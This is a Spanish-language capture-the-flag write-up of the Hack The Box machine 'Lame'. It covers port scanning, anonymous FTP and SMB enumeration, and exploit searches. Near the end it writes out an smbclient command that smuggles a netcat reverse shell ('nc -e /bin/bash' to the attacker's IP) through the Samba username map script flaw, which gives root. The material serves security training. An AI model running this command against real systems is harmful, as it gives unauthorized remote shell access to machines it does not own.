Lame - Hack The Box
Introducción
Lame es una máquina en Linux de dificultad fácil en la cual se va a utilizar un script en python para explotar una vulnerabilidad en SMB (CVE-2007-2447) sin usar Metasploit.
Fase de reconocimiento
En caso de tener problemas al hacer la fase de reconocimiento con nmap puede ser por el Firewall de Parrot OS, que se puede desactivar con:
sudo service opensnitch stop
Vamos a ver los puertos abiertos con el comando sudo nmap -p- -sS –min-rate 5000 -open -vvv -n -Pn -oG allports 10.10.10.3 obteniendo lo siguiente:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-08 17:08 -05
Initiating SYN Stealth Scan at 17:08
Scanning 10.10.10.3 [65535 ports]
Discovered open port 22/tcp on 10.10.10.3
Discovered open port 21/tcp on 10.10.10.3
Discovered open port 139/tcp on 10.10.10.3
Discovered open port 445/tcp on 10.10.10.3
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 62.45% done; ETC: 17:08 (0:00:10 remaining)
Stats: 0:00:20 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 77.70% done; ETC: 17:08 (0:00:06 remaining)
Discovered open port 3632/tcp on 10.10.10.3
Completed SYN Stealth Scan at 17:08, 26.37s elapsed (65535 total ports)
Nmap scan report for 10.10.10.3
Host is up, received user-set (0.094s latency).
Scanned at 2022-01-08 17:08:04 -05 for 26s
Not shown: 65530 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
3632/tcp open distccd syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.52 seconds
Raw packets sent: 131083 (5.768MB) | Rcvd: 23 (1.012KB)
Lo anterior quedo guardado en el archivo allports:
# Nmap 7.92 scan initiated Sat Jan 8 17:08:04 2022 as: nmap -p- -sS --min-rate 5000 -open -vvv -n -Pn -oG allports 10.10.10.3
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.3 () Status: Up
Host: 10.10.10.3 () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 139/open/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///, 3632/open/tcp//distccd/// Ignored State: filtered (65530)
# Nmap done at Sat Jan 8 17:08:30 2022 -- 1 IP address (1 host up) scanned in 26.52 seconds
Ahora, para esos puertos abiertos, veremos la versión y servicio que corren por ahí con sudo nmap -sCV -p21,22,139,445,3632 10.10.10.3 -oN targeted que nos arroja:
# Nmap 7.92 scan initiated Sat Jan 8 17:19:52 2022 as: nmap -sCV -p21,22,139,445,3632 -oN targered 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.14
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2022-01-08T22:27:09-05:00
|_clock-skew: mean: 7h36m57s, deviation: 3h32m11s, median: 5h06m54s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 8 17:20:50 2022 -- 1 IP address (1 host up) scanned in 58.42 seconds
Vemos algo interesante del anterior resultado. Podemos ingresar con usuario anonymous:
Para conectarnos al ftp debemos verificar que tenemos el cliente de ftp. En mi caso debo instalarlo con sudo apt-get install ftp
Nos conectamos con ftp 10.10.10.3 (contraseña nula) y obtenemos:
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:janumejia): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 .
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 ..
226 Directory send OK.
ftp>
En otra terminal vamos a ver que vulnerabilidades conocidas tiene el servicio vsftpd 2.3.4. Para ello instalamos un programa que muestra las vulnerabilidades conocidas para distintos servicios. Se llama SearchSploit y lo instalamos con:
sudo apt update && sudo apt -y install exploitdb
Una vez instalado, actualizamos la base de datos de este programa con searchsploit -u (aunque se debe realizar automáticamente, pero por si las moscas).
Con el comando searchsploit vsftpd vemos las vulnerabilidades:
----------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
----------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Existe vulnerabilidad para la versión vsftpd 2.3.4. También en Github podemos encontrar un programa que explota esta vulnerabilidad: [Hellsender01 / vsftpd_2.3.4_Exploit ] (https://github.com/Hellsender01/vsftpd_2.3.4_Exploit) la cual consta de poner una carita feliz :) al final del usuario ftp, pero no funciona , como se muestra a continuación:
Intentaremos ver vulnerabilidades en el servicio samba, pero antes ¿que es el servicio samba?
Servicio Samba
Samba es una suite de aplicaciones Unix que habla el protocolo SMB (Server Message Block). Los sistemas operativos Microsoft Windows y OS/2 utilizan SMB para compartir por red archivos e impresoras y para realizar tareas asociadas. Gracias al soporte de este protocolo, Samba permite a las máquinas Unix entrar en el juego, comunicándose con el mismo protocolo de red que Microsoft Windows y aparecer como otro sistema Windows en la red (desde la perspectiva de un cliente Windows). El servidor Samba ofrece los siguientes servicios:
- Compartir uno o varios sistemas de archivos
- Compartir uno o varios sistemas de archivos distribuidos
- Compartir impresoras instaladas en el servidor entre los clientes Windows de la red
- Ayudar a los clientes permitiéndoles navegar por la red
- Autentificar a los clientes que ingresan en un dominio Windows
- Proveer o ayudar con un servidor de resolución de nombres Windows (WINS) Fuente: https://www.sergio-gonzalez.com/doc/10-ldap-samba-cups-pykota/html/samba-que-es.html
Vulnerabilidades en samba con searchsploit samba 3.0.20 :
----------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
----------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Vamos a ver una de estas vulnerabilidades imprimiendo el código del programa que explota la vulnerabilidad con el comando searchsploit -x unix/remote/16320.rb:
Es necesario smbclient para interactuar con el servidor SMB. Vamos a listar los recursos compartidos con mbclient -L 10.10.10.3 -N –option=”client min protocol=NT1” (ver) y obtenemos:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
Para ver específicamente un recurso compartido a nivel de red (el tmp) con smbclient //10.10.10.3/tmp -N –option=”client min protocol=NT1” y obtenemos:
Intentamos ejecución de comandos remota como vimos anteriormente con smbclient //10.10.10.3/tmp -N –option=”client min protocol=NT1” -c ‘logon “/= nohup nc -e /bin/bash 10.10.14.12 443
“ ‘ :
Mejoramos el formato de la tty con:
- script /dev/null -c bash
- Ctrl + Z
- stty raw -echo; fg
- reset
- xterm
- export TERM=xterm
- export SHELL=bash
- stty rows 30 columns 135
Exploramos un poquito, y finalmente obtenemos las flags (ya somos root):